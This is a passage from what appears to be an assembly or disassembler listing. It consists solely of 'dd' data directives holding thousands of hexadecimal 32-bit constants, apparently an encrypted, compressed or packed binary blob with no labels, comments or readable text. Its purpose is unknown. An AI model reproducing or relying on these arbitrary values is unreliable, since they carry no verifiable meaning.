4B5A7C07h, 0AA236404h, 5BFA5C81h, 63E20E20h, 0B2BB426Ah dd 0E8769181h, 14DD855Ch, 42AFD127h, 212501B9h, 0E89338F8h dd 9BC05B11h, 644A1D1Bh, 1A2484Dh, 42F38059h, 0CAF1E3CCh dd 3BD5D10Ch, 924CBDDh, 9E328D40h, 0FCC13B10h, 0A15484A8h dd 413084CCh, 32FC4094h, 84940414h, 0B70A53Eh, 79DA5C8Ch dd 0E5A86F5Ch, 880B8A84h, 0BC9EA240h, 17F48004h, 0C81914C7h dd 267354h, 0C9813F85h, 1C8C7D76h, 10E9D130h, 60E14509h dd 4E4B0C37h, 0F8F93B2Ch, 9251F435h, 87E12BD2h, 9579D430h dd 575294DEh, 0DC0A2E22h, 3AE1F27Fh, 48987A5Fh, 87A06A29h dd 0BCB15EB5h, 2FDAF52Fh, 7807FE79h, 0D3095A69h, 3D855039h dd 23604AE9h, 6C956F7Dh, 0D552C794h, 8E3A7E8h, 0B0706CFh dd 0E0BD50DBh, 7D0F4CB6h, 1280111Fh, 63F2EA57h, 3CA405C0h dd 0C1A165B8h, 0E907402Dh, 0EC970A9Fh, 5926F4D1h, 592E912Dh dd 0EFC105A7h, 32B3D008h, 1F4F23EAh, 2E9E3C0h, 0B62CCF9Bh dd 7DF11EBCh, 0AE1277ADh, 0BCD02C62h, 0A4D8C797h, 686670D6h dd 7E3C7048h, 4EA5FD4Dh, 0B3B1FAA8h, 3B5A309Dh, 0D867CA81h dd 18092B2Dh, 28036465h, 0EC52E9E8h, 806ADB89h, 0C00ACB37h dd 4727E990h, 171E5162h, 588DAC5Ch, 30CC1BACh, 6B9EB0C5h dd 58092DC7h, 1AF7280Bh, 0D8F47531h, 0F471C4ADh, 0D0D660BDh dd 0F930EDB7h, 5F5B6627h, 0CF5FA78Bh, 0FFDAA7D0h, 7C7A6802h dd 564F2E9h, 8AD7FE05h, 94AFFD5Bh, 0F8E10FE5h, 0B8AEF465h dd 1794A51Bh, 90DCE9F8h, 0D0BD1634h, 81DB5A40h, 2419A9CBh dd 20481C4Fh, 0B0255DF2h, 0B94A3458h, 4D6EA1D0h, 275BC04h dd 0CB3DE168h, 2140552Bh, 5280DA0h, 325EDC66h, 0CC3148E2h dd 3A7EE7F0h, 41E1C4FCh, 0F5ED2A54h, 9CACDDD3h, 5F2591A6h dd 0F4B56196h, 0E37C8885h, 0ED0E782Ah, 0C0239538h, 0CE9669F7h dd 24F69CE2h, 8C211706h, 0D6B4470Bh, 0ABEB8001h, 5EE9D930h dd 0B459503Bh, 5EBE2050h, 0DB2DEA74h, 2C888526h, 5153CD89h dd 0BA27277Eh, 0EDFF5C11h, 0DA517507h, 765C13Ch, 6850F0C1h dd 0E6FC7821h, 4C52732Dh, 6D059738h, 1655DF46h, 0BEBFC5EEh dd 9530A2E7h, 0F2C28071h, 57D1202Fh, 0D1928EAFh, 758EA61h dd 665E45A2h, 52514CECh, 942CD800h, 84CB95Bh, 74797D25h dd 1ED42FF1h, 9DD1410Eh, 681FA4AEh, 0BD01F1A5h, 459F1B12h dd 0F887D93Bh, 7FEA0502h, 0ED00BAD6h, 7C531AA8h, 0E9F21329h dd 5BDD4B66h, 12986577h, 204E19E9h, 60202564h, 0C256822h dd 652AC412h, 0FF4AF31Ch, 4C0108C5h, 382D3921h, 1DD8CB20h dd 8767C757h, 0E44643F3h, 0E08A9717h, 33706275h, 0F9281CC0h dd 2609A464h, 9285BDAh, 18DDA3DDh, 333EDBDEh, 0D7D46A67h dd 222D0D02h, 0E15DED31h, 741054Dh, 3368B6E9h, 0CF6CAB4Eh dd 347D9552h, 79E92FD0h, 0D5FA1F43h, 92AA0E77h, 3B858AEBh dd 0D8280904h, 5B98983h, 0E4EA9D79h, 5B3D1344h, 8043AD11h dd 3C0DB9EBh, 277A7A75h, 0AAD289FEh, 30486809h, 0C4030928h dd 7BED07A0h, 342CB429h, 610C4D5h, 56EA8908h, 0A4E6D748h dd 0AB8C1684h, 0AF525B58h, 51DCDB56h, 5CB4AE9h, 0E95DB72Ah dd 80CF1DAAh, 0C7C24F5Ch, 0E0F82812h, 61D3E982h, 31422C70h dd 0A7C2C9D0h, 1787C08h, 7BDF635h, 0E4A681A3h, 1654934h dd 8C640DBh, 0D46C32E9h, 9BD95F44h, 0A69CE54Fh, 5B60E4BAh dd 0A305C4Ah, 0DA3DD2h, 9BB85040h, 211D2F53h, 37E9C20Ch dd 0C51FD59h, 0DA488C68h, 0EB40E86Eh, 2B230FBBh, 0AD4715CAh dd 0AC77AF94h, 8668A14Bh, 1DD8D2Bh, 0C179BBC6h, 0A6BFD119h dd 8112240Bh, 2F1B4F60h, 0B70B7DD1h, 8102B572h, 6B0194F6h dd 89441CBh, 5CC9E93Dh, 0EE5769A4h, 558402E2h, 0B1E920BDh dd 0F959B527h, 0E9527DC9h, 9B41969Fh, 4AF6432Dh, 52E0E717h dd 0B19301ABh, 821C1B17h, 6774A464h, 8D405710h, 78EDF259h dd 985A25C5h, 9F0779CEh, 0E9419DDBh, 2F668BE1h, 0A213648Fh dd 0DDE75ADFh, 0BAB2E982h, 1037448h, 27934C97h, 16645D3Eh dd 2D85514Ch, 8037DA37h, 0F3CA5h, 814521ADh, 897331CDh dd 14C3048h, 2A8C781Fh, 0A36497E9h, 0E10B5BB5h, 0EBF40292h dd 0CAE77729h, 0F80EE90Bh, 30AD76B5h, 0BE1C6C57h, 0D2301265h dd 6A89D214h, 0D12A37C7h, 5B4720E2h, 0C1780D0Eh, 0C8E8065Ah dd 5E3EDD81h, 46EB209Ah, 0CBBFC1D6h, 9A04885h, 51ED1702h dd 63082068h, 3BBF0E59h, 857F55FAh, 6ECE228h, 8FD5B25Eh dd 707EE948h, 95BD075Eh, 0A5427349h, 6808B0DCh, 0E2A8A25Bh dd 200EB7C2h, 0B4E90860h, 0AF901B5Fh, 4ECC6801h, 0B02C2036h dd 3198FEAEh, 3780FC4Eh, 0CCE8146h, 17A0011Ch, 5D251DF2h dd 1D650AFh, 362D567Eh, 3A1F39E9h, 8B3E5AC9h, 8FBF74E7h dd 2A22AC61h, 52C30FB8h, 46462070h, 0C112BAD5h, 41AE04E5h dd 0B079071Dh, 0EDCB2A44h, 3F51031Ch, 69D42925h, 710825CAh dd 0BA1D45h, 8101FE0Eh, 0DD241F2h, 0BA09C5EAh, 8A3BD683h dd 4E4CC032h, 966726Fh, 0AA40F10Dh, 0C9FB02F5h, 0EAEED722h dd 4E71094Dh, 0CE849EF2h, 0BB41EE93h, 0B9A3D1Bh, 32DA040h dd 0BF7F48F2h, 0AD278E25h, 0D52F328h, 802042D9h, 884BB216h dd 65A66D4h, 0E480C4FEh, 771E065Ch, 0CC0FECD0h, 63F46FF6h dd 0DAE9E588h, 445B5FE8h, 63B36801h, 116D25BBh, 0B3980285h dd 425910C4h, 97393502h, 85D74AADh, 39AC73FCh, 5A773348h dd 0CA41BA7Dh, 7C4F4E39h, 3098CAD8h, 0EACACB43h, 872FDAC5h dd 2471D4B4h, 2B55044Dh, 75C88163h, 68E010D9h, 983F5FB5h dd 435D6A05h, 323A0129h, 0E3C178FAh, 5CD3F7F0h, 41692B53h dd 242194Eh, 0B505FD50h, 0F5028CF8h, 0EC885004h, 0A4918E51h dd 29AB59EAh, 0EB80E842h, 0D375C170h, 1B9DC375h, 0E9B58977h dd 50D6A2DEh, 722C405Dh, 888AC5C9h, 0DA1727F0h, 0A7CC2CDBh dd 4E82B75Bh, 771DE040h, 0DEF7BE80h, 0A39A8AE9h, 0FBDAD49Dh dd 5A5B6413h, 250A0F01h, 0A23F47F9h, 2C864841h, 6C1E4568h dd 445116CCh, 59CB1209h, 0D86F0743h, 4021D6CFh, 237D4FEEh dd 0A6C32934h, 0E58080Ch, 4309187Eh, 6C152A34h, 0BE28CA28h dd 0BFEF8595h, 0FA1728A2h, 4F3CFA5Fh, 0ACC97C68h, 8B6AB1F0h dd 3CD6153Fh, 0FC80FFC9h, 7EEF2C23h, 0B27BE34h, 2EC33380h dd 291F1312h, 8C810FEh, 6D2AEF4Eh, 0B891304Bh, 96313079h dd 2BAB6C3Ah, 5C25B02Eh, 3ACD0D5Fh, 0C0869BE4h, 6E3CCF4Bh dd 90B031EBh, 25E90144h, 51015CBFh, 3E5255EFh, 8D416E8h dd 1D490BD6h, 0E47F829Ah, 0D1F9972Bh, 8DC55F49h, 205A9D08h dd 1DE20FCCh, 0D96B7B05h, 0BF1D12F2h, 9E312433h, 0A842ECAh dd 350F5E7h, 0F902A8EFh, 2581D7F7h, 4AE9A280h, 18373F74h dd 0F8A5A93h, 4DA6EF69h, 0CF016E03h, 69083441h, 0E6B25CEh dd 56E16B7Bh, 0EBE9F0C2h, 0F6584C69h, 87F7A745h, 0F5E3525Ah dd 3875607Eh, 12D777Ah, 5C4CCD48h, 0BD283D3Bh, 0E58B0C0h dd 1684042Fh, 5693E903h, 0C13CAED4h, 62F42A68h, 71C820D5h dd 3E8CBE05h, 29C7068Eh, 64D17417h, 4F704D45h, 59D99F91h dd 6A10A6CAh, 58C9A04Ah, 17609341h, 0B27659A5h, 0DA252E13h dd 87E91237h, 92178DE5h, 0FFD22A92h, 0F7026FD1h, 0DF7FAF7Ah dd 79C35860h, 0FB750328h dd 0A3FD1209h, 1B8D491h, 86042B05h, 0E4DDD67Bh, 96F92FF1h dd 0DC30F146h, 31C3D1AAh, 5BFA2504h, 54FFA1CBh, 0C652AB8Dh dd 0F84FC8A9h, 133900FDh, 0D131CABBh, 0C8892E5Ah, 35F94693h dd 0B85B5076h, 51F733C4h, 43F5FC69h, 388CC525h, 0D2E91602h dd 9298A956h, 0F111B0BEh, 1BB92207h, 0B746E97Ah, 11E648C9h dd 465D9627h, 334E2779h, 2E6C9919h, 0C0AFB617h, 8E0921B8h dd 19F19A4Eh, 0B6A7D17Eh, 1AA86B71h, 0D6E220E9h, 0C80C082h dd 0B3530207h, 0B0CB806Ah, 609411C1h, 0F61EFA19h, 0EF1FED3h dd 0C72F20E1h, 216F8DA8h, 0E8BD206Bh, 44F2721Fh, 2117EA89h dd 5891C80Ch, 408CFE82h, 0B7849D80h, 69BEB059h, 0B2602521h dd 0DBDC5811h, 0CF467527h, 64685912h, 9DEC8B8h, 16F74117h dd 0CCA2040h, 51EE6825h, 8754944Ch, 32E0AEB5h, 0C1561895h dd 0CB8640EDh, 544C7EB7h, 40EC8944h, 0B939514Ah, 10C682CCh dd 0DA59CF29h, 750520A8h, 4E0E9480h, 252C8301h, 155A7F9Bh dd 0C514D38h, 0C3B467BAh, 0FF4EC553h, 0BF0CD196h, 4F0DDF2h dd 0B86D4054h, 98F0FABFh, 0D7738E76h, 0C45FA13h, 0D7909584h dd 75D16857h, 5F252623h, 416402AAh, 0C85F580Fh, 9747347Ah dd 6B4A9414h, 688A8CFFh, 5DD61D4Eh, 0A3FEB710h, 89F08478h dd 72FA9D17h, 99897567h, 0C871675h, 56CC202Dh, 0E50BC382h dd 8274A527h, 57140834h, 69EB6600h, 531AFA4Dh, 628F301h dd 121E5E08h, 1F493751h, 9F8682Ch, 6F993CB7h, 8142150Bh dd 0D16E0757h, 781A2D30h, 37577F6Bh, 60FD1453h, 36C2A68h dd 0B9595E75h, 0E7715F2Ch, 58401h, 0F814EE70h, 5CB765C2h dd 836A08F9h, 0D740F689h, 0F8DDAD09h, 627C2535h, 0B0ED4C57h dd 20364B63h, 68DBF731h, 0C220E526h, 7C068BC0h, 0E1810060h dd 19B5285h, 0A760F1E9h, 7170B950h, 4E7849E6h, 0A6CE9C0Bh dd 0C4E98CE0h, 0C52F1C9Ch, 585488EBh, 9C5364h, 26CDB206h dd 125030FFh, 41F2AB49h, 7F932018h, 5D266DAAh, 860E0138h dd 0C1184A57h, 4D412302h, 0E842D56Fh, 82D54F62h, 77E89CE3h dd 0F3B156E7h, 6F9335E9h, 0BD87BF2Dh, 0B8B2285Ch, 0FFCE8273h dd 81B0FB64h, 232E3002h, 89CF8760h, 49C1C1B5h, 0B98837D8h dd 7A800107h, 0D289AF2Ah, 5F2BC9DDh, 9265CA6Eh, 0CB5867FFh dd 0BF894C68h, 2D75E697h, 0BCF18006h, 98D930A8h, 693E5E14h dd 4BA87BCDh, 0EE48B884h, 0BE5B2E28h, 5155522Dh, 0E1F7C0C3h dd 58B41268h, 0AD1CE963h, 0DE5298BBh, 4A250BD4h, 0E66ADAA5h dd 54445B47h, 29054ECDh, 0ED9800FDh, 25E127C8h, 0F4F50126h dd 0CC20820h, 85BD582Eh, 71B9FFBEh, 669EEF0Eh, 8E45B51Eh dd 15F31C74h, 19677525h, 2A3E9621h, 2345950Ch, 5A212308h dd 688993D9h, 664871FAh, 0BB804C40h, 0E60400B6h, 16C78132h dd 5100C256h, 0BA52DF29h, 3FEA3CD9h, 13FC4A1Ah, 0D8193Eh dd 5B5AD75Bh, 0DF6073E9h, 6B0EF373h, 0C16603Fh, 0D863C6E3h dd 0DE724890h, 6625D6B2h, 2098A032h, 2633B473h, 1442E6C1h dd 4C72C0EEh, 0FF0B15D6h, 5386398Fh, 0F22D3AF1h, 0ACC6A012h dd 0BDFA2631h, 3FBDFA60h, 77E3820Bh, 26C35729h, 5C576B8h dd 6D8AE912h, 0F8885847h, 88F04A85h, 2D82B828h, 7056C1FEh dd 0A6E94C56h, 0C676305Ah, 0ACB84436h, 0DC4F236h, 90E91890h dd 665C62B5h, 16497790h, 74680AEEh, 5949226Bh, 0E7772768h dd 0E956874Dh, 0DF39CC2Ah, 22545B62h, 235109EEh, 304DB760h dd 7BE92EF9h, 0C6FE8048h, 28AAF680h, 8838F37Ch, 5BE85F51h dd 24BE2E0h, 5268761Ch, 31C7B9A6h, 0EA6BD8B3h, 1278D83Fh dd 0EB9741E9h, 0C0960137h, 0CB012DE5h, 26D7BD1h, 0E09AAC6Bh dd 9D2D6268h, 55402F67h, 97505EE9h, 0D388A373h, 469B883Ch dd 0EA045F28h, 0BA139A20h, 27A917AEh, 0FE317151h, 85A43FCDh dd 152109EAh, 307D4A26h, 2798E4B5h, 8D045743h, 0F5808152h dd 0B4E32E65h, 1C76F102h, 0E9F0318Ch, 2DD02900h, 70583A33h dd 0B5B572E9h, 70EBF276h, 0F354952Bh, 582F7C6Bh, 5180B44Eh dd 11220468h, 0AF59146Fh, 1AC1AD98h, 40DF0FF1h, 6E057860h dd 3F113D12h, 70097E1h, 0DCEA17E9h, 5AD30F34h, 0D8C00E04h dd 6B647ADEh, 27812110h, 122DB7EDh, 0E9F827h, 68D861E1h dd 7B944547h, 0D010532Ah, 0EC2D0245h, 7675B933h, 984CAFE1h dd 5597B60h, 9DF24C6Bh, 2111B04h, 46318768h, 0F2534FA7h dd 0B78C9F3h, 0BF4E6077h, 7E6600D4h, 0CF814F5Dh, 7C2639CCh dd 6127623Dh, 0D260AD3Dh, 0E66D1899h, 11328C23h, 2D207100h dd 418F4E47h, 280EB548h, 8E2813Eh, 0A521ACE3h, 0E2F50BEh dd 45165737h, 0CB5583FEh, 56002B15h, 2D7160C9h, 0A6F18FE9h dd 4ABF0097h, 0D1147237h, 0C75883E7h, 82A45B32h, 29494060h dd 2F8864B5h, 31997D4Eh, 0BAC6515Ch, 0FFB16F5Ah, 0B794F6E8h dd 209B4AAh, 0E455F2BCh, 19CB4077h, 0F54BAA3h, 8BD74872h dd 0A8F49645h, 5F77C15Ah, 2F2BB4h, 4EC41202h, 5D97D529h dd 0B2973B9Ch, 0F9D17731h, 89DFAEA7h, 0CD7F58CDh, 0F373FB86h dd 629955B1h, 0F507925Ch, 0B36068Dh, 2A30080Ch, 0F7010A20h dd 2954A83Ch, 20DC43Eh, 87A9E908h, 2030E3DBh, 4F715731h dd 4004FD64h, 0D4975908h, 0C6DAEB79h, 941CFF25h, 0B05D4AB3h dd 0E840E7CAh, 138200BAh, 0E2D111F2h, 1C90D2F7h, 9C6A1E0Bh dd 0C2740F28h, 0F727B040h, 48B0C9C3h, 0CA51E82Dh, 20B02FC3h dd 0E9D01231h, 7667F987h, 4A843F38h, 21542DAAh, 270020B5h dd 5667009h, 49F27559h, 7876B7h, 42D657EBh, 5F4B535Eh dd 0E9D4FCB2h, 7B87602Dh, 55DA8259h, 19B4F960h, 0FC0ED92Fh dd 2451078Ah, 0D80CCC47h, 46287F02h, 4CCAC6E9h, 1F419916h dd 676CAF29h, 47765179h, 410F1ED3h, 59706A2h, 0EEAF972Fh dd 0E9C69F45h, 9510522h, 0FA8217ADh, 81DD4B78h, 0C48FF014h dd 0F6C772E7h, 22F76035h, 7E4C0704h, 7E282DF5h, 27D4C29Ch dd 59935759h, 85B3E774h, 5A627E09h, 0A81DE0Fh, 400CE1E9h dd 961365DEh, 582D7F5Dh, 2EC51D4h, 445D5F0Bh, 74BAC17Fh dd 0F22A7879h, 6C2DD74h, 876CF3C1h, 0B390268h, 0AE6ACDDFh dd 16E9929Bh, 0C09FABC7h, 17503C10h, 0F00B44BEh, 941CFDD4h dd 0D193D1F6h, 75CC925h, 8008AACFh, 7A757F8Ah, 0A4317C40h dd 0BC3920D4h, 5B476812h, 34B566BAh, 0BC29CC0Bh, 0A2405D0Fh dd 5F0231D6h, 65E95358h, 2D7BF5A1h, 0E11158BFh, 30005F1Ah dd 802E58E3h, 0E5083CC3h, 594B884Ch, 1DE18100h, 4841D351h dd 0B012CC52h, 0DD50C830h, 0F1050126h, 0D7FF7716h, 0EB795508h dd 0BBC0F0B2h, 664D789Eh, 5D9AE916h, 34828F26h, 81085A87h dd 0C8BEE2h, 284A89BBh, 0AEE18A4h, 5637731Bh, 0DE9E22Ch dd 0F49F12D8h, 9968588Fh, 0E32344Ah, 89FD2910h, 3E7F4551h dd 328BA82Dh, 42FE35C0h, 0D45A0ECBh, 95F2849h, 0A3F5BCBAh dd 5D28D0FCh, 0AA15740Bh, 28287D69h, 27062B08h, 0D86C5F40h dd 0C1B23D4Eh, 0B6D2AE4Ah, 7FE4A9B0h, 0B6A8ADE7h, 0FA36818h dd 81BD08C3h, 75FECACh, 87B674A8h, 3FF0282Eh, 166D2A08h dd 5BD0FB5Ch, 3CC0BCB0h, 199D03E0h, 0C80EB9FEh, 0C101D934h dd 0C3232C58h, 0C1A404CBh, 78DD84h, 96448968h, 0D8A862F6h dd 48042DD2h, 21D68A01h, 11E504FFh, 0CB10F87Ch, 575DC2CEh dd 64698F73h, 1BF02F8h, 93CA902h, 0DB62AC61h, 9E59182Fh dd 19559D9Fh, 0E9641137h dd 0A7D9955Eh, 0DC707FE9h, 9B74D130h, 2635FBC6h, 0B435404h dd 927757EEh, 27E5D01h, 0C21DFDC9h, 7145C18h, 3E29265Fh dd 209F261Eh, 18A2B508h, 66016476h, 396BCB21h, 5E56645Eh dd 88601141h, 978A0BF5h, 27DB168h, 75AA11Ah, 0A5836257h dd 0A292075h, 986CDF04h, 432B0928h, 907F1BAEh, 7B1A343Fh dd 7FE9497Ch, 575DA272h, 3F13EC00h, 4AC0603Ah, 129A443Dh dd 83C75B29h, 0EAF5778Eh, 3B8CE204h, 4ADCB909h, 0A491D5A5h dd 0A0E90154h, 0BD581B24h, 0F681C560h, 4F607909h, 0E8595D1Ah dd 0E4E8905Ah, 0C1DF7917h, 4B06F4D6h, 60FC2ADBh, 1E9FBC74h dd 3BE46DBEh, 0B779D120h, 30909578h, 129D71B7h, 2829BF05h dd 52A67F20h, 0B804ED02h, 8247035Bh, 6C777B7Eh, 94559DF3h dd 0F8681CB4h, 38DD2538h, 5B85E9A7h, 0D57FA76h, 0F13087CDh dd 0B96C40CCh, 6002D53Fh, 3530C180h, 31801207h, 0B65E92CDh dd 6816BDF0h, 63E37571h, 19798101h, 6BEED144h, 90874598h dd 0DD6E4809h, 0B8B42000h, 5BDE290Fh, 8AF6813h, 135F528Ch dd 0AB5EBB4Ah, 0E125EBE2h, 0E9150D94h, 22AF7B5Ch, 574409FBh dd 1400789Dh, 338B5E74h, 5D167B9Eh, 39D49110h, 994593D3h dd 821A1764h, 0B24A820Eh, 137D0A4Bh, 73748F3Fh, 201FE04Ch dd 3ABD02E5h, 907AB2Ah, 138DAF8Ah, 2A4029B6h, 0E9127AF6h dd 28CEC3ACh, 5880FA36h, 8CB52F56h, 1377CA20h, 49016269h dd 6199C981h, 70312AF5h, 0DD52CB52h, 16AB1A84h, 5A06DAE4h dd 0C4B9EC8Fh, 570B10A6h, 6E300D01h, 0C2E03B84h, 5E28CB9Ch dd 0AE5D4122h, 57020502h, 0E986A267h, 2E1C66D4h, 5F444BFh dd 0C0DFF741h, 6A4D01ECh, 7F467940h, 0E91B0975h, 1922724Ah dd 98ED1541h, 7D23E98Bh, 0F90513A5h, 78247B7Ch, 68C17EE4h dd 7FC20ECBh, 0DDC9AC51h, 0DDA56DCDh, 0F3DC5C29h, 7CB4DD25h dd 79E1F624h, 0C8495410h, 779A680Ch, 0A34928B1h, 54538611h dd 62FDFCA7h, 3E3A2722h, 0E2F70803h, 0F89D70EBh, 1619D32Eh dd 0A41CF2DDh, 71946DEDh, 0A030DE00h, 1F79E961h, 68FB48BFh dd 304F5F45h, 197827B0h, 82B01C4Bh, 200F0925h, 8BF5744Ah dd 0FF4185F8h, 0BB2DAFC0h, 3913255Bh, 720F5F6h, 6FC1B081h dd 0F4AE2E52h, 0B90B6822h, 973FA0Bh, 0F2D9D8DCh, 26D8F95Eh dd 0C1D90CF7h, 0F43E03E1h, 340B4212h, 3F1EF5FBh, 4A017AD5h dd 193E0E63h, 90035170h, 107F0B7Dh, 3E89252Dh, 687EA329h dd 0CAA460F0h, 0BD804E95h, 5D007C2Fh, 257F9BEh, 0EE00F2B8h dd 0C87AED99h, 685EF131h, 3E84A549h, 0A906177Dh, 58FBED29h dd 63B82D49h, 0B9F5DBA3h, 7F926C54h, 55AE0BE8h, 71B7E820h dd 0CA0FF780h, 0BD03EFC0h, 5EA502A6h, 5C8B02A0h, 0CC0177Eh dd 0C6BDFAC2h, 7F150957h, 9CD50488h, 0AFA24Ah, 1A16FF89h dd 6BFEA07Dh, 0B5251220h, 8403D431h, 6FA0A13Ah, 0E952DC63h dd 8E57B815h, 319A1B64h, 0B117A85Eh, 53627DBDh, 33F2A39Bh dd 0BA0555F0h, 1654205Ch, 0B7184C2h, 87621EDCh, 0E9CCF0F7h dd 0B268E0DBh, 0A7D1A824h, 0B753800Bh, 0F0043E5Bh, 0FE1650E0h dd 0EEF11540h, 0FC025193h, 0CE4BF2Fh, 5B2568F0h, 0D217DE08h dd 944DD15Fh, 7013E7CFh, 0AE73BF7Fh, 3F96E142h, 898535A7h dd 0EE57E495h, 0F750D612h, 77E1AC87h, 496F74A4h, 24627835h dd 856C67F5h, 4E07C5E9h, 0ECE4D2E4h, 0EE8AA88h, 104F3C84h dd 0C0D33DB7h, 0AE334AB5h, 50111BC7h, 0CC825854h, 30DB703Bh dd 135F8DAEh, 3D8C40A7h, 0BB0CE72Ch, 52D8F614h, 60782FA8h dd 73EA80D5h, 0E3C20701h, 3B5AD030h, 5C5AF7EBh, 0E9FE71AEh dd 252C6CE2h, 7D0BDF05h, 0F02F6DEh, 5F7D7E3Fh, 56474540h dd 0D1AE5797h, 15BD980h, 680050D1h, 48DB5187h, 13B20558h dd 1E15D0h, 64599704h, 0A0ED0119h, 0E9120878h, 76EF0AE6h dd 1B17742Dh, 57AADC67h, 8E99F077h, 92B55CB2h, 0E09155EDh dd 6A11D858h, 980CCB5h, 65FE3416h, 0D4DBF400h, 0A284454Dh dd 80DEFE0Dh, 4F2B0A0Ch, 174EB4E9h, 53DED240h, 62BB384Ch dd 73E90BDAh, 751889F5h, 68856DE5h, 48BF4E63h, 34287C65h dd 5B18A64Dh, 61322C2h, 8839A414h, 14EA2FFDh, 526618BAh dd 0D2F62686h, 17F10BD2h, 0D27AF27Ah, 5CE028EAh, 0B8806B92h dd 0BD622CD3h, 0DD2DFDC0h, 0CC273BEDh, 13AF2047h, 0F6667297h dd 68752C51h, 1307A0BDh, 0FBF9015Eh, 953BF7D8h, 0D35F5C42h dd 0F260372Fh, 0F749EDAAh, 830B2BE2h, 12465C4h, 5A63D6F1h dd 0A5E96E70h, 0FCCDAD28h, 4C242522h, 6005B207h, 2D6DC214h dd 421D370Fh, 1A364156h, 9F7803BEh, 89F20741h, 0C4920311h dd 5B6C2548h, 273F4FD7h, 0BFC0429Ah, 0E6976E12h, 0B8FD9503h dd 6F71E9E1h, 9F6AD762h, 164012B5h, 5D0EC0B3h, 0A4A1C68h dd 0C8558423h, 5F3E460Eh, 78EE049h, 66CD811Eh, 0C3FB98Ch dd 1A4516E2h, 0B07DBC48h, 40545C5Eh, 0E918062Fh, 0F281A7EDh dd 0A67A04EEh, 0A8D7013Dh, 0B8FDA257h, 13D66828h, 0D83DA17Dh dd 0AF020DF9h, 0F7015076h, 13B340D8h, 3F82670h, 22E72051h dd 0EE049AD4h, 696020E2h, 0BF7325ACh, 65295770h, 38048D4Eh dd 14C0BD74h, 251176EBh, 9457154Fh, 40260B9Fh, 82764E99h dd 0B765942Dh, 0FF207D6Ch, 0B9895BAFh, 65FBC473h, 325D580Bh dd 27E67013h, 0AB9A3601h, 7E9B3781h, 6AE06EDFh, 0F7813F06h dd 0F8FE7B82h, 0C2C1FA01h, 0ECC00029h, 0E4801C03h, 0C1C4CE2Ah dd 30D4F4C1h, 5AC6EE7h, 29D1F8A2h, 6B4F486Fh, 0E042F159h dd 545155E4h, 3C175025h, 21A53B18h, 994019CAh, 638A4964h dd 0BBF70EA2h, 742F480Ah, 76A0B149h, 1D3BCE81h, 6858A905h dd 69A32445h, 9071902h, 0C5622106h, 7430F654h, 0FB0517EEh dd 0B9F15DC2h, 0FBC8F5CBh, 5794C7E9h, 0F6EA8603h, 6A0849D5h dd 37E9B361h, 70A22BBh, 783F01D9h, 0DA6D9EB2h, 0DA44B5F7h dd 618CD19Fh, 3E82684Eh, 0FC6D84F6h, 0E54E3154h, 7F7D3655h dd 0D6D44B2Eh, 4D148AADh, 0DE7E3C0Bh, 1235EA40h, 7672A357h dd 0A720E9B8h, 0D2589F79h, 48436209h, 0CFB88359h, 92AA96Bh dd 0EE6BE03Eh, 8A02EC7Fh, 89E95038h, 4FE4DF2Fh, 5F4D84F0h dd 91925A43h, 0F248FDB9h, 65D33CE0h, 1FE5BDE0h, 68891FBEh dd 77899F8Eh, 0C0A1604Ch, 4AE73A60h, 42E2D109h, 6C170580h dd 897AA601h, 0E1C18985h, 0BE5B1E82h, 6D1E6801h, 83465233h dd 58C12F79h, 2D8D38D7h, 58F5F86Bh, 7C250966h, 698C2F31h dd 145B2743h, 0B15114F1h, 0E214930Ch, 11936FB9h, 134A9448h dd 4E391D22h, 959475C8h, 1F152C1Ah, 7160455h, 1EC7D888h dd 701B244Eh, 9D26860Ch, 0FD31B912h, 5571D3AFh, 7B9E8DDDh dd 0E035C2F1h, 0AC09166Ah, 0BC72E4EFh, 15AF4B9h, 5433EEBFh dd 45187036h, 0FA6BFB94h, 0F9DCA3EEh, 1E8BE202h, 0C157E688h dd 92EB8D4h, 0D77E317Eh, 111E8F02h, 82F1FC23h, 3DB63235h dd 87C77176h, 0F61BFF97h, 56CEF278h, 994DE027h, 362411AEh dd 0C85A5C56h, 7B3DAB5Ah, 0C6D8B23Fh, 31C0D021h, 0F15717E1h dd 0A0163F5Eh, 2106E91Eh, 0CA2357Fh, 70F24DDFh, 0A62D840Ch dd 0E94DE8F4h, 863A6B79h, 7569725Ch, 3B380B69h, 0CAEE3E84h dd 7B502561h, 3F093D3Bh, 0E1807CD0h, 33881DD2h, 475E0E90h dd 6E127FA8h, 8DCA8882h, 6887041Eh, 21612B53h, 0BB043656h dd 0EE594B0h, 58A021A4h, 1E1F40DEh, 0EA315A57h, 224493D4h dd 24DD6045h, 381546CBh dd 0E00BE090h, 263A193h, 0F068E962h, 0E2BF07B0h, 0A5729753h dd 5F45A003h, 0D4B52DE2h, 0DE9F89F8h, 11882148h, 0FF9754E8h dd 277BC409h, 0F85388B3h, 0F2095DBBh, 0F6A52FBEh, 5B17A356h dd 4CCD47FAh, 4481E261h, 0FF582202h, 55F8D444h, 4C31819Bh dd 30847706h, 0EF4491C3h, 4AB692C0h, 0A29626E9h, 34208816h dd 0EE67F5A5h, 83BBE912h, 47802D90h, 0A0F4ADF0h, 0BB01EBB6h dd 5B06CF9Ah, 0EA4E156Ch, 44AEB464h, 17D416Ah, 66C0C380h dd 4BC6B23Bh, 0B7E148ECh, 0BB8960DCh, 1C3EB588h, 39CDC580h dd 2539F8DEh, 0D61C42D2h, 7CCD05Fh, 0B6993BCh, 0A7447F8Dh dd 0DC354025h, 0FF547115h, 0A3F5708Ah, 2CE45DAh, 0FC3F22Bh dd 0B34078DEh, 9A13430Dh, 0D0F82934h, 8C410841h, 0DC68B814h dd 0DA2A0193h, 3BD280A1h, 99FF7385h, 14A86F0Bh, 0D3CBFE92h dd 4E2ADC41h, 2AE7EAB5h, 1CF70B22h, 0DD8F834Ch, 9219A2FEh dd 0F05FD50Fh, 89F12904h, 0A4C7C2CEh, 7FCC2955h, 6E2D9898h dd 0A427C324h, 12691902h, 3E620F7Ah, 7A506AAEh, 34C59DA8h dd 5BBD5B3Dh, 402E0DE1h, 9227B402h, 2825E96Bh, 0D91BBBF3h dd 0B37A5032h, 0C108253Dh, 48205C52h, 0A1482E61h, 47B1162Dh dd 73E8D044h, 89BFC7DDh, 5CD69A55h, 53870228h, 0AC07DD5h dd 4DC47ADCh, 0D7BEEB80h, 0D2E4C280h, 1771E5FFh, 5464FB59h dd 0A5E45CD4h, 0BBB640DBh, 5624F17Ch, 0E9ACD079h, 790BEE94h dd 512CCB91h, 41049E2Fh, 0DCA36033h, 0F0CFC495h, 8FEBA869h dd 52404C47h, 0EC971C84h, 0A90482B0h, 7BE8755Dh, 24EC683h dd 0C001A7A3h, 